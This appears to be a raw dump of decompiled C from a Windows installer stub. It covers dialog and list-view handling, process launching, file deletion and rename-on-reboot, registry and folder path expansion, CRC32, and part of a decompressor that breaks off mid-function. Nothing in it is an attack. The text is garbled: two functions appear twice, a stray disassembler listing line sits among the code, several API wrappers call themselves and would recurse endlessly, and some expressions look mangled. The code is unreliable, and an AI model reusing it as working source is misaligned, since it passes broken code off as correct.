ShowWindow(hWnd, 8 * (a4 == (HWND)32));
v33 = GetDlgItem(hDlg, 1022);
ShowWindow(v33, 8 * (a4 == (HWND)32));
}
return sub_403EDA(a2, hdc, a4);
}
LRESULT __stdcall sub_404DD7(HWND hWnd, int a2, WPARAM wParam, int a4)
{
int v4; // ebx@1
int v6; // edi@6
v4 = a2;
if ( a2 == 258 )
{
if ( wParam == 32 )
{
sub_403EBF(0x413u);
return 0;
}
goto LABEL_11;
}
if ( a2 != 512 )
{
v6 = a4;
LABEL_8:
if ( v4 == 1049 && dword_41FCC4 != v6 )
{
dword_41FCC4 = v6;
sub_4047AE(6, v6);
}
return CallWindowProcA(lpPrevWndFunc, hWnd, v4, wParam, v6);
}
if ( IsWindowVisible(hWnd) )
{
v6 = sub_40472E(hWnd, 1);
v4 = 1049;
goto LABEL_8;
}
LABEL_11:
v6 = a4;
return CallWindowProcA(lpPrevWndFunc, hWnd, v4, wParam, v6);
}
HWND __stdcall sub_404E63(int a1, LPCSTR lpString)
{
HWND result; // eax@1
int v3; // edi@2
LPARAM lParam; // [sp+Ch] [bp-30h]@10
WPARAM wParam; // [sp+10h] [bp-2Ch]@10
int v6; // [sp+14h] [bp-28h]@10
const CHAR *v7; // [sp+20h] [bp-1Ch]@10
int v8; // [sp+34h] [bp-8h]@2
HWND hWnd; // [sp+38h] [bp-4h]@1
HWND v10; // [sp+44h] [bp+8h]@4
result = dword_422EC4;
hWnd = dword_422EC4;
if ( dword_422EC4 )
{
v8 = dword_423794;
v3 = dword_423794 & 1;
if ( !(dword_423794 & 1) )
sub_405B9A((LPSTR)&byte_41F4B8, a1);
result = (HWND)lstrlenA(&byte_41F4B8);
v10 = result;
if ( lpString )
{
result = (HWND)((char *)result + lstrlenA(lpString));
if ( (unsigned int)result >= 0x800 )
return result;
result = (HWND)lstrcatA((LPSTR)&byte_41F4B8, lpString);
}
if ( !(v8 & 4) )
result = (HWND)SetWindowTextA(dword_422EA8, &byte_41F4B8);
if ( !(v8 & 2) )
{
v7 = &byte_41F4B8;
lParam = 1;
v6 = 0;
wParam = SendMessageA(hWnd, 0x1004u, 0, 0) - v3;
SendMessageA(hWnd, 4103 - v3, 0, (LPARAM)&lParam);
result = (HWND)SendMessageA(hWnd, 0x1013u, wParam, 0);
}
if ( v3 )
{
result = v10;
*((_BYTE *)v10 + 4322488) = 0;
}
}
return result;
}
int __stdcall StartAddress(LPVOID lpThreadParameter)
{
int v1; // esi@1
int v2; // edi@1
int *v3; // esi@2
v1 = dword_423708;
v2 = dword_42370C;
dword_423798 |= OleInitialize(0);
sub_403EBF(0);
if ( v2 )
{
v3 = (int *)(v1 + 12);
while ( 1 )
{
--v2;
if ( *((_BYTE *)v3 - 4) & 1 )
{
if ( sub_401389(*v3, (HWND)lpThreadParameter) )
break;
}
v3 += 262;
if ( !v2 )
goto LABEL_8;
}
++dword_42376C;
}
LABEL_8:
sub_403EBF(0x404u);
OleUninitialize();
return dword_42376C;
}
int __stdcall sub_404FA1(HWND hDlg, LPARAM a2, LPARAM a3, HWND a4)
{
int v4; // edi@1
LPARAM v5; // ebx@1
LPARAM v6; // eax@2
HWND v7; // edi@11
HWND v8; // eax@14
HANDLE v9; // eax@14
HMENU v11; // esi@29
const CHAR *v12; // eax@29
int v13; // eax@29
int v14; // ecx@29
SIZE_T v15; // esi@32
const CHAR *v16; // esi@34
CHAR *v17; // esi@35
LPARAM v18; // [sp+Ch] [bp-3Ch]@33
LPARAM lParam; // [sp+14h] [bp-34h]@2
int v20; // [sp+18h] [bp-30h]@2
LONG v21; // [sp+1Ch] [bp-2Ch]@2
const CHAR *v22; // [sp+20h] [bp-28h]@2
int v23; // [sp+24h] [bp-24h]@2
int v24; // [sp+28h] [bp-20h]@2
int v25; // [sp+2Ch] [bp-1Ch]@2
int v26; // [sp+30h] [bp-18h]@2
struct tagRECT Rect; // [sp+34h] [bp-14h]@2
HWND hWnd; // [sp+44h] [bp-4h]@1
HWND hDlga; // [sp+50h] [bp+8h]@32
HWND hDlgb; // [sp+50h] [bp+8h]@34
v4 = a2;
v5 = 0;
hWnd = dword_422EC4;
if ( a2 != 272 )
{
if ( a2 == 1029 )
{
v8 = GetDlgItem(hDlg, 1004);
v9 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, v8, 0, (LPDWORD)&a2);
CloseHandle(v9);
}
if ( v4 == 273 )
{
if ( (_WORD)a3 != 1027 )
return sub_403EDA(v4, (HDC)a3, a4);
ShowWindow(::hWnd, 0);
ShowWindow(hWnd, 8);
sub_403EA8((WPARAM)hWnd);
}
if ( v4 == 1028 )
{
if ( dword_422EAC )
{
nResult = 2;
sub_403E4C(0x78u);
return sub_403EDA(v4, (HDC)a3, a4);
}
ShowWindow(hwnd, 8);
if ( !dword_42376C )
sub_404E63(*(_DWORD *)(dword_41F4B0 + 52), 0);
sub_403E4C(1u);
}
if ( v4 == 123 && (HWND)a3 == hWnd )
{
a3 = SendMessageA(hWnd, 0x1004u, 0, 0);
if ( a3 > 0 )
{
v11 = CreatePopupMenu();
v12 = sub_405B9A(0, -31);
AppendMenuA(v11, 0, 1u, v12);
v13 = (signed __int16)a4;
v14 = SHIWORD(a4);
if ( a4 == HWND_MESSAGE|0x2 )
{
GetWindowRect(hWnd, &Rect);
v13 = Rect.left;
v14 = Rect.top;
}
if ( TrackPopupMenu(v11, 0x180u, v13, v14, 0, hDlg, 0) == 1 )
{
v15 = 1;
lParam = 0;
v22 = &byte_41FCD8;
v23 = 4095;
hDlga = (HWND)a3;
do
{
hDlga = (HWND)((char *)hDlga - 1);
v15 += SendMessageA(hWnd, 0x102Du, (WPARAM)hDlga, (LPARAM)&v18) + 2;
}
while ( hDlga );
OpenClipboard(0);
EmptyClipboard();
hDlgb = (HWND)GlobalAlloc(0x42u, v15);
v16 = (const CHAR *)GlobalLock(hDlgb);
do
{
v22 = v16;
v17 = (CHAR *)&v16[SendMessageA(hWnd, 0x102Du, v5, (LPARAM)&v18)];
*v17++ = 13;
*v17 = 10;
v16 = v17 + 1;
++v5;
}
while ( v5 < a3 );
GlobalUnlock(hDlgb);
SetClipboardData(1u, hDlgb);
CloseClipboard();
}
}
return 0;
}
return sub_403EDA(v4, (HDC)a3, a4);
}
v21 = -1;
v24 = -1;
lParam = 2;
v20 = 0;
v22 = 0;
v23 = 0;
v25 = 0;
v26 = 0;
v6 = *(_DWORD *)(dword_4236F0 + 96);
a3 = *(_DWORD *)(dword_4236F0 + 92);
a2 = v6;
::hWnd = GetDlgItem(hDlg, 1027);
dword_422EA8 = GetDlgItem(hDlg, 1006);
dword_422EC4 = GetDlgItem(hDlg, 1016);
hWnd = dword_422EC4;
sub_403EA8((WPARAM)::hWnd);
nDenominator = sub_404701(4);
nNumber = 0;
GetClientRect(hWnd, &Rect);
v21 = Rect.right - GetSystemMetrics(21);
SendMessageA(hWnd, 0x101Bu, 0, (LPARAM)&lParam);
SendMessageA(hWnd, 0x1036u, 0x4000u, 0x4000);
if ( a3 >= 0 )
{
SendMessageA(hWnd, 0x1001u, 0, a3);
SendMessageA(hWnd, 0x1026u, 0, a3);
}
if ( a2 >= 0 )
SendMessageA(hWnd, 0x1024u, 0, a2);
sub_403E73(hDlg, 27, *((_DWORD *)a4 + 12));
if ( dword_4236F8 & 3 )
{
ShowWindow(::hWnd, 0);
if ( dword_4236F8 & 2 )
::hWnd = 0;
else
ShowWindow(hWnd, 8);
sub_403EA8((WPARAM)dword_422EA8);
}
v7 = GetDlgItem(hDlg, 1004);
SendMessageA(v7, 0x401u, 0, 1966080000);
if ( dword_4236F8 & 4 )
{
SendMessageA(v7, 0x409u, 0, a2);
SendMessageA(v7, 0x2001u, 0, a3);
}
return 0;
}
HANDLE __stdcall sub_40532B(LPSTR lpCommandLine)
{
HANDLE result; // eax@1
struct _PROCESS_INFORMATION ProcessInformation; // [sp+0h] [bp-10h]@1
StartupInfo.cb = 68;
result = (HANDLE)CreateProcessA(0, lpCommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
if ( result )
{
CloseHandle(ProcessInformation.hThread);
result = ProcessInformation.hProcess;
}
return result;
}
BOOL __stdcall SetDlgItemTextA(HWND hDlg, int nIDDlgItem, LPCSTR lpString)
{
return SetDlgItemTextA(hDlg, nIDDlgItem, lpString);
}
UINT __stdcall sub_405370(int nIDDlgItem, LPSTR lpString)
{
return GetDlgItemTextA(hDlg, nIDDlgItem, lpString, 1024);
}
int __stdcall sub_40538C(const CHAR *a1, unsigned int a2)
{
int v2; // ecx@1
int result; // eax@2
v2 = a2 & 0x1FFFFF;
if ( !dword_423780 || (result = a2 >> 21) == 0 )
{
if ( dword_423788 )
v2 ^= 0x180000u;
mbp.hwndOwner = hwnd;
mbp.hInstance = hInstance;
mbp.lpszText = a1;
mbp.lpszCaption = chText;
mbp.dwStyle = v2;
result = MessageBoxIndirectA(&mbp);
}
return result;
}
int __stdcall sub_4053F0(LPCSTR lpPathName, char a2)
{
DWORD v2; // edi@1
BOOL v3; // eax@3
v2 = sub_4057E4(lpPathName);
if ( v2 != -1 )
{
if ( a2 & 1 )
v3 = RemoveDirectoryA(lpPathName);
else
v3 = DeleteFileA(lpPathName);
if ( v3 )
return 1;
if ( !(a2 & 4) )
SetFileAttributesA(lpPathName, v2);
}
return 0;
}
int __stdcall sub_40538C(const CHAR *a1, unsigned int a2)
{
int v2; // ecx@1
int result; // eax@2
v2 = a2 & 0x1FFFFF;
if ( !dword_423780 || (result = a2 >> 21) == 0 )
{
if ( dword_423788 )
v2 ^= 0x180000u;
mbp.hwndOwner = hwnd;
mbp.hInstance = hInstance;
mbp.lpszText = a1;
mbp.lpszCaption = chText;
mbp.dwStyle = v2;
result = MessageBoxIndirectA(&mbp);
}
return result;
}
sub_405608 .text 00405608 0000002B 00000004 00000004 R . . . . T .
int __stdcall sub_4053F0(LPCSTR lpPathName, char a2)
{
DWORD v2; // edi@1
BOOL v3; // eax@3
v2 = sub_4057E4(lpPathName);
if ( v2 != -1 )
{
if ( a2 & 1 )
v3 = RemoveDirectoryA(lpPathName);
else
v3 = DeleteFileA(lpPathName);
if ( v3 )
return 1;
if ( !(a2 & 4) )
SetFileAttributesA(lpPathName, v2);
}
return 0;
}
const CHAR *__stdcall sub_405633(LPCSTR lpsz, char a2)
{
const CHAR *result; // eax@1
for ( result = lpsz; *result && *result != a2; result = CharNextA(result) )
;
return result;
}
LPSTR __stdcall sub_40564F(LPCSTR lpString)
{
LPSTR v1; // eax@1
v1 = (LPSTR)&lpString[lstrlenA(lpString)];
do
{
if ( *v1 == 92 )
break;
v1 = CharPrevA(lpString, v1);
}
while ( v1 > lpString );
*v1 = 0;
return v1 + 1;
}
BOOL __stdcall sub_405675(int a1)
{
char v1; // al@1
v1 = *(_BYTE *)a1 | 0x20;
return *(_BYTE *)a1 == 92 && *(_BYTE *)(a1 + 1) == 92 || v1 >= 97 && v1 <= 122 && *(_BYTE *)(a1 + 1) == 58;
}
const CHAR *__stdcall sub_4056A1(LPCSTR lpsz)
{
LPSTR v1; // ebx@1
const CHAR *result; // eax@1
signed int v3; // esi@7
const CHAR *v4; // eax@8
v1 = CharNextA(lpsz);
result = CharNextA(v1);
if ( *lpsz && *v1 == 58 && v1[1] == 92 )
{
result = CharNextA(result);
}
else
{
if ( *lpsz == 92 && lpsz[1] == 92 )
{
v3 = 2;
while ( 1 )
{
--v3;
v4 = sub_405633(result, 92);
if ( !*v4 )
break;
result = v4 + 1;
if ( !v3 )
return result;
}
}
result = 0;
}
return result;
}
int __stdcall sub_4056F6(LPCSTR lpString2)
{
const CHAR *v1; // eax@1
const CHAR *v2; // edi@1
int result; // eax@2
int v4; // edi@6
struct _WIN32_FIND_DATAA *v5; // eax@7
sub_405B78(byte_4210E0, lpString2);
v1 = sub_4056A1(byte_4210E0);
v2 = v1;
if ( v1 && ((sub_405DE3(v1), !(dword_4236F8 & 0x80)) || *v2 && *v2 != 92) )
{
v4 = v2 - byte_4210E0;
while ( lstrlenA(byte_4210E0) > v4 )
{
v5 = sub_405E7C(byte_4210E0);
if ( v5 && !(v5->dwFileAttributes & 0x10) )
goto LABEL_2;
sub_40564F(byte_4210E0);
}
sub_405608(byte_4210E0);
result = GetFileAttributesA(byte_4210E0) != -1;
}
else
{
LABEL_2:
result = 0;
}
return result;
}
const CHAR *__stdcall sub_40576E(LPCSTR lpString1, LPCSTR lpString)
{
const CHAR *v2; // esi@1
CHAR v3; // bl@2
bool v4; // zf@2
int v6; // [sp+Ch] [bp-4h]@1
v2 = lpString1;
v6 = lstrlenA(lpString);
while ( 1 )
{
if ( lstrlenA(v2) < v6 )
return 0;
v3 = v2[v6];
v2[v6] = 0;
v4 = lstrcmpiA(v2, lpString) == 0;
v2[v6] = v3;
if ( v4 )
break;
v2 = CharNextA(v2);
}
return v2;
}
void __stdcall sub_4057C4(_BYTE *a1, int a2, int a3)
{
_BYTE *v3; // ecx@1
int i; // esi@1
v3 = a1;
for ( i = a3; i; --i )
{
*v3 = v3[a2 - (_DWORD)a1];
++v3;
}
}
DWORD __stdcall sub_4057E4(LPCSTR lpFileName)
{
DWORD v1; // eax@1
DWORD v2; // esi@1
v1 = GetFileAttributesA(lpFileName);
v2 = v1;
if ( v1 != -1 )
{
LOBYTE(v1) = v1 & 0xFE;
SetFileAttributesA(lpFileName, v1);
}
return v2;
}
HANDLE __stdcall sub_405809(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwCreationDisposition)
{
DWORD v3; // eax@1
v3 = GetFileAttributesA(lpFileName);
return CreateFileA(lpFileName, dwDesiredAccess, 1u, 0, dwCreationDisposition, v3 != -1 ? v3 : 0, 0);
}
UINT __stdcall sub_405838(int PrefixString, LPCSTR lpPathName)
{
CHAR *v2; // esi@1
signed int v3; // edi@1
UINT result; // eax@2
v2 = (CHAR *)PrefixString;
v3 = 100;
while ( 1 )
{
--v3;
PrefixString = dword_409384;
BYTE2(PrefixString) += GetTickCount() % 0x1A;
result = GetTempFileNameA(lpPathName, (LPCSTR)&PrefixString, 0, v2);
if ( result )
break;
if ( !v3 )
{
*v2 = 0;
return result;
}
}
return (UINT)v2;
}
BOOL __stdcall sub_405881(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead)
{
DWORD v3; // esi@1
v3 = nNumberOfBytesToRead;
return ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, &nNumberOfBytesToRead, 0) && v3 == nNumberOfBytesToRead;
}
CHAR *__cdecl sub_4058B0(LPCSTR a1, LPCSTR lpszLongPath)
{
HANDLE v2; // eax@2
CHAR *result; // eax@2
int v4; // ebx@6
CHAR *v5; // ebp@6
DWORD v6; // eax@7
DWORD v7; // edi@7
CHAR *v8; // eax@7
const CHAR *v9; // esi@7
const CHAR *v10; // eax@9
const CHAR *v11; // ebp@11
const CHAR *v12; // ecx@12
CHAR *v13; // eax@12
int v14; // eax@15
DWORD NumberOfBytesWritten; // [sp+10h] [bp-4h]@18
LPCSTR lpszLongPatha; // [sp+1Ch] [bp+8h]@6
lstrcpyA(szShortPath, aNul);
if ( !lpszLongPath
|| (v2 = sub_405809(lpszLongPath, 0, 1u),
CloseHandle(v2),
(result = (CHAR *)GetShortPathNameA(lpszLongPath, szShortPath, 0x400u)) != 0)
&& (signed int)result <= 1024 )
{
result = (CHAR *)GetShortPathNameA(a1, byte_421E68, 0x400u);
if ( result )
{
if ( (signed int)result <= 1024 )
{
v4 = wsprintfA(byte_421668, aSS, szShortPath, byte_421E68);
sub_405B9A(byte_421E68, *(_DWORD *)(dword_4236F0 + 296));
result = (CHAR *)sub_405809(byte_421E68, 0xC0000000, 4u);
v5 = result;
lpszLongPatha = result;
if ( result != (CHAR *)-1 )
{
v6 = GetFileSize(result, 0);
v7 = v6;
v8 = (CHAR *)GlobalAlloc(0x40u, v6 + v4 + 10);
v9 = v8;
if ( !v8 || !sub_405881(v5, v8, v7) )
return (CHAR *)CloseHandle(v5);
v10 = sub_40576E(v9, aRename);
if ( v10 )
{
v11 = sub_40576E(v10 + 10, asc_409388);
if ( v11 )
{
v12 = &v9[v7];
v13 = (CHAR *)(&v9[v7] + v4);
while ( v12 > v11 )
*v13-- = *v12--;
v14 = v11 - v9 + 1;
v5 = (CHAR *)lpszLongPatha;
goto LABEL_18;
}
v5 = (CHAR *)lpszLongPatha;
}
else
{
lstrcpyA((LPSTR)&v9[v7], aRename);
v7 += 10;
}
v14 = v7;
LABEL_18:
sub_4057C4(&v9[v14], (int)byte_421668, v4);
SetFilePointer(v5, 0, 0, 0);
WriteFile(v5, v9, v4 + v7, &NumberOfBytesWritten, 0);
GlobalFree((HGLOBAL)v9);
return (CHAR *)CloseHandle(v5);
}
}
}
}
return result;
}
CHAR *__stdcall sub_405A2C(LPCSTR a1, LPCSTR lpszLongPath)
{
HMODULE v2; // eax@1
CHAR *result; // eax@2
v2 = sub_405EA3(1);
if ( !v2 || (result = (CHAR *)((int (__stdcall *)(LPCSTR, LPCSTR, signed int))v2)(a1, lpszLongPath, 5)) == 0 )
result = sub_4058B0(a1, lpszLongPath);
++dword_423770;
return result;
}
LSTATUS __stdcall sub_405A5F(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, DWORD Type, HKEY phkResult)
{
DWORD v5; // esi@1
int v6; // eax@1
LSTATUS result; // eax@1
HKEY v8; // ST14_4@6
v5 = Type;
v6 = (phkResult != 0 ? 0x100 : 0) | 0x20019;
*(_BYTE *)Type = 0;
result = RegOpenKeyExA(hKey, lpSubKey, 0, v6, &phkResult);
if ( !result )
{
lpSubKey = (LPCSTR)1024;
if ( RegQueryValueExA(phkResult, lpValueName, 0, &Type, (LPBYTE)v5, (LPDWORD)&lpSubKey) || Type != 1 && Type != 2 )
*(_BYTE *)v5 = 0;
v8 = phkResult;
*(_BYTE *)(v5 + 1023) = 0;
result = RegCloseKey(v8);
}
return result;
}
int __stdcall sub_405AD6(LPSTR a1, int a2)
{
return wsprintfA(a1, "%d", a2);
}
int __stdcall sub_405AEF(_BYTE *a1)
{
_BYTE *v1; // ecx@1
int v2; // edi@1
char v3; // al@1
char v4; // bl@1
char v5; // dl@4
signed int v6; // edx@9
int v7; // edx@11
signed int v9; // [sp+Ch] [bp-4h]@1
v1 = a1;
v2 = 0;
v9 = 1;
v3 = 10;
v4 = 57;
if ( *a1 == 45 )
{
v1 = a1 + 1;
v9 = -1;
}
if ( *v1 == 48 )
{
v5 = *++v1;
if ( *v1 >= 48 && v5 <= 55 )
{
v3 = 8;
v4 = 55;
}
if ( (v5 & 0xDF) == 88 )
{
v3 = 16;
++v1;
}
}
while ( 1 )
{
v6 = *v1++;
if ( v6 >= 48 && v6 <= v4 )
{
v7 = v6 - 48;
goto LABEL_16;
}
if ( v3 != 16 || (signed int)(v6 & 0xFFFFFFDF) < 65 || (signed int)(v6 & 0xFFFFFFDF) > 70 )
return v2 * v9;
v7 = (v6 & 7) + 9;
LABEL_16:
v2 = v7 + v2 * v3;
}
}
LPSTR __stdcall sub_405B78(LPSTR lpString1, LPCSTR lpString2)
{
return lstrcpynA(lpString1, lpString2, 1024);
}
int __stdcall lstrlenA(LPCSTR lpString)
{
return lstrlenA(lpString);
}
LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2)
{
return lstrcatA(lpString1, lpString2);
}
const CHAR *__stdcall sub_405B9A(LPSTR lpString1, int a2)
{
int v2; // eax@1
CHAR *v3; // ecx@3
const CHAR *result; // eax@3
CHAR *v5; // edi@3
int v6; // eax@8
int v7; // ecx@8
int v8; // esi@8
int v9; // ebx@8
int v10; // ebx@8
int v11; // ecx@8
signed int v12; // esi@9
signed __int32 v13; // eax@9
BOOL v14; // ebx@28
int v15; // eax@43
CHAR v16; // dl@47
int csidl; // [sp+0h] [bp-18h]@8
int v18; // [sp+4h] [bp-14h]@8
int v19; // [sp+8h] [bp-10h]@8
int v20; // [sp+Ch] [bp-Ch]@8
LPITEMIDLIST ppidl; // [sp+10h] [bp-8h]@27
int v22; // [sp+14h] [bp-4h]@13
int v23; // [sp+24h] [bp+Ch]@7
int v24; // [sp+24h] [bp+Ch]@8
v2 = a2;
if ( a2 < 0 )
v2 = *(_DWORD *)(dword_422EBC - (4 * a2 + 4));
v3 = (CHAR *)(v2 + dword_423718);
result = &String;
v5 = (CHAR *)&String;
if ( lpString1 >= &String && (unsigned int)(lpString1 - &String) < 0x800 )
{
v5 = lpString1;
lpString1 = 0;
}
while ( 1 )
{
v16 = *v3;
if ( !*v3 || v5 - result >= 1024 )
break;
v23 = (int)++v3;
if ( (unsigned __int8)v16 >= 4u )
{
if ( v16 == 4 )
*v5++ = *v3++;
else
*v5++ = v16;
}
else
{
v6 = v3[1];
v7 = *v3;
v8 = v7 & 0x7F | ((v6 & 0x7F) << 7);
v9 = v7;
v24 = v23 + 2;
BYTE1(v9) |= 0x80u;
csidl = v9;
v10 = v7;
v11 = v6;
v18 = v10;
BYTE1(v11) |= 0x80u;
v19 = v11;
v20 = v6;
if ( v16 == 2 )
{
v12 = 2;
v13 = GetVersion();
v22 = v13 >= 0 || (_WORD)v13 == 23044 || v20 == 35 || v20 == 46;
if ( dword_423764 )
v12 = 4;
if ( (char)v10 < 0 )
{
sub_405A5F(
HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion",
(LPCSTR)(dword_423718 + (v10 & 0x3F)),
(DWORD)v5,
(HKEY)(v10 & 0x40));
if ( !*v5 )
{
sub_405B9A(v5, v20);
goto LABEL_31;
}
goto LABEL_32;
}
if ( v10 == 37 )
{
GetSystemDirectoryA(v5, 0x400u);
}
else
{
if ( v10 == 36 )
{
GetWindowsDirectoryA(v5, 0x400u);
v12 = 0;
}
while ( v12 )
{
--v12;
if ( dword_4236E4 )
{
if ( v22 && !dword_4236E4(hwnd, *(&csidl + v12), 0, 0, v5) )
break;
}
if ( !SHGetSpecialFolderLocation(hwnd, *(&csidl + v12), &ppidl) )
{
v14 = SHGetPathFromIDListA(ppidl, v5);
CoTaskMemFree(ppidl);
if ( v14 )
break;
}
*v5 = 0;
}
}
LABEL_31:
if ( *v5 )
{
LABEL_32:
if ( v20 == 26 )
lstrcatA(v5, "\\Microsoft\\Internet Explorer\\Quick Launch");
}
LABEL_34:
sub_405DE3(v5);
goto LABEL_43;
}
if ( v16 == 3 )
{
if ( v8 == 29 )
sub_405AD6(v5, (int)hwnd);
else
sub_405B78(v5, &byte_424000[1024 * v8]);
if ( (unsigned int)(v8 - 21) < 7 )
goto LABEL_34;
}
else if ( v16 == 1 )
{
sub_405B9A(v5, -1 - v8);
}
LABEL_43:
v15 = lstrlenA(v5);
v3 = (CHAR *)v24;
v5 += v15;
result = &String;
}
}
*v5 = 0;
if ( lpString1 )
result = sub_405B78(lpString1, result);
return result;
}
CHAR __stdcall sub_405DE3(LPCSTR lpsz)
{
LPCSTR v1; // esi@1
char v2; // al@9
const CHAR *v3; // ebx@9
LPSTR i; // edi@9
LPSTR v5; // eax@12
LPSTR v6; // eax@13
LPSTR v7; // eax@15
CHAR result; // al@15
v1 = lpsz;
if ( *lpsz == 92 && lpsz[1] == 92 && lpsz[2] == 63 && lpsz[3] == 92 )
v1 = lpsz + 4;
if ( *v1 && sub_405675((int)v1) )
v1 += 2;
v2 = *v1;
v3 = v1;
for ( i = (LPSTR)v1; v2; v2 = *v6 )
{
if ( (unsigned __int8)v2 > 0x1Fu && !*sub_405633(a_, v2) )
{
v5 = CharNextA(v1);
sub_4057C4(i, (int)v1, v5 - v1);
i = CharNextA(i);
}
v6 = CharNextA(v1);
v1 = v6;
}
*i = 0;
do
{
v7 = CharPrevA(v3, i);
i = v7;
result = *v7;
if ( result != 32 && result != 92 )
break;
*i = 0;
}
while ( v3 < i );
return result;
}
struct _WIN32_FIND_DATAA *__stdcall sub_405E7C(LPCSTR lpFileName)
{
HANDLE v1; // eax@1
struct _WIN32_FIND_DATAA *result; // eax@2
v1 = FindFirstFileA(lpFileName, &FindFileData);
if ( v1 == (HANDLE)-1 )
{
result = 0;
}
else
{
FindClose(v1);
result = &FindFileData;
}
return result;
}
HMODULE __stdcall sub_405EA3(int a1)
{
const CHAR *v1; // edi@1
HMODULE result; // eax@1
v1 = off_409238[2 * a1];
result = GetModuleHandleA(off_409238[2 * a1]);
if ( result || (result = LoadLibraryA(v1)) != 0 )
result = (HMODULE)GetProcAddress(result, off_40923C[2 * a1]);
return result;
}
int __stdcall sub_405EDC(UINT wMsgFilterMin)
{
int result; // eax@3
MSG Msg; // [sp+8h] [bp-1Ch]@2
while ( 1 )
{
result = PeekMessageA(&Msg, 0, wMsgFilterMin, wMsgFilterMin, 1u);
if ( !result )
break;
DispatchMessageA(&Msg);
}
return result;
}
FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
return GetProcAddress(hModule, lpProcName);
}
int __stdcall sub_405F15(int a1, _BYTE *a2, int a3)
{
signed int v3; // ecx@2
unsigned int v4; // eax@3
signed int v5; // esi@3
int v6; // edx@6
unsigned int v7; // eax@6
_BYTE *v8; // ecx@7
if ( !dword_42226C )
{
v3 = 0;
do
{
v4 = v3;
v5 = 8;
do
{
v4 = ((v4 & 1) != 0 ? 0xEDB88320 : 0) ^ (v4 >> 1);
--v5;
}
while ( v5 );
dword_422268[v3++] = v4;
}
while ( v3 < 256 );
}
v6 = a3;
v7 = ~a1;
if ( a3 )
{
v8 = a2;
do
{
v7 = dword_422268[*v8++ ^ (unsigned __int8)v7] ^ (v7 >> 8);
--v6;
}
while ( v6 );
}
return ~v7;
}
signed int __thiscall sub_405F83(int this)
{
signed int v1; // eax@1
signed int result; // eax@3
v1 = 128;
do
*(_BYTE *)(--v1 + this) = 0;
while ( v1 );
*(_DWORD *)(this + 120) = -1;
result = 1;
*(_DWORD *)(this + 104) = 1;
*(_DWORD *)(this + 100) = 1;
*(_DWORD *)(this + 96) = 1;
*(_DWORD *)(this + 92) = 1;
return result;
}
signed int __thiscall sub_405FA3(int *this)
{
int v2; // ebx@3
char *v3; // esi@3
char *v4; // eax@6
char v5; // al@6
__int16 v6; // si@7
signed __int64 v7; // rax@7
int v8; // esi@7
int v9; // ecx@24
int v10; // eax@25
int v11; // eax@34
int v12; // ecx@40
unsigned int v13; // eax@43
unsigned __int16 v14; // ax@43
unsigned int v15; // ecx@43
int v16; // ecx@49
unsigned __int16 v17; // ax@51
unsigned int v18; // ecx@51
unsigned __int8 *v19; // ecx@59
unsigned __int8 v20; // al@59
_BYTE *v21; // edx@59
int v22; // ecx@59
unsigned int v23; // edx@59
int v24; // ecx@61
unsigned __int16 v25; // ax@63
unsigned int v26; // ecx@63
int v27; // eax@70
int v28; // eax@79
unsigned __int8 v29; // cl@81
int v30; // eax@81
unsigned __int8 *v31; // eax@81
int v32; // eax@85
int v33; // ecx@91
int v34; // eax@93
signed int v35; // eax@94
int v36; // eax@98
int v37; // ecx@98
unsigned int v38; // eax@98
char *v39; // eax@99
int v40; // ecx@103
int v41; // ecx@113
int v42; // edi@116
unsigned __int16 v43; // ax@116
int v44; // ecx@116
unsigned int v45; // edx@116
int v46; // eax@127
unsigned __int8 v47; // cl@129
int v48; // eax@129
unsigned int v49; // edx@129
unsigned __int8 *v50; // eax@129
bool v51; // zf@129
bool v52; // sf@129
char *v53; // eax@132
unsigned __int16 v54; // ax@136
int v55; // edx@136
unsigned int v56; // ecx@136
int v57; // ecx@141
int v58; // eax@142
int v59; // ecx@150
int v60; // edx@153
unsigned __int16 v61; // ax@153
int v62; // edi@153
unsigned int v63; // ecx@153
int *v64; // [sp+Ch] [bp-90h]@1
int v65; // [sp+14h] [bp-88h]@1
int v66; // [sp+18h] [bp-84h]@26
int v67; // [sp+1Ch] [bp-80h]@70
int v68; // [sp+20h] [bp-7Ch]@96
int v69; // [sp+24h] [bp-78h]@7
SIZE_T v70; // [sp+28h] [bp-74h]@18
char *v71; // [sp+2Ch] [bp-70h]@6
int v72; // [sp+30h] [bp-6Ch]@5
unsigned __int8 *v73; // [sp+34h] [bp-68h]@59
int v74; // [sp+38h] [bp-64h]@58
unsigned int v75; // [sp+3Ch] [bp-60h]@26
unsigned __int8 v76; // [sp+40h] [bp-5Ch]@28
unsigned __int8 v77; // [sp+41h] [bp-5Bh]@36
char *v78; // [sp+44h] [bp-58h]@28
char *v79; // [sp+48h] [bp-54h]@3
int v80; // [sp+4Ch] [bp-50h]@111
unsigned int v81; // [sp+50h] [bp-4Ch]@26
signed __int32 i; // [sp+54h] [bp-48h]@14
int v83; // [sp+58h] [bp-44h]@3
SIZE_T dwBytes; // [sp+5Ch] [bp-40h]@14
int v85; // [sp+60h] [bp-3Ch]@7
int v86; // [sp+64h] [bp-38h]@26
int v87; // [sp+68h] [bp-34h]@33
int v88; // [sp+6Ch] [bp-30h]@1
unsigned int v89; // [sp+70h] [bp-2Ch]@34
int v90; // [sp+74h] [bp-28h]@70
int v91; // [sp+78h] [bp-24h]@70
int v92; // [sp+7Ch] [bp-20h]@70
int v93; // [sp+80h] [bp-1Ch]@7
int v94; // [sp+84h] [bp-18h]@7
int v95; // [sp+88h] [bp-14h]@34
unsigned int v96; // [sp+8Ch] [bp-10h]@40
unsigned int v97; // [sp+90h] [bp-Ch]@24
HGLOBAL v98; // [sp+94h] [bp-8h]@19
HGLOBAL hMem; // [sp+98h] [bp-4h]@8
v64 = this;
qmemcpy(&v65, this, 0x88u);
if ( v88 == -1 )
return 1;
v2 = v83;
v3 = v79;
while ( 2 )
{
switch ( v65 )
{
case 0:
if ( !v72 )
goto LABEL_173;
v4 = v71;
--v72;
++v71;
v5 = *v4;
if ( (unsigned __int8)v5 > 0xE1u )
return -1;
v6 = (unsigned __int8)v5 / 45;
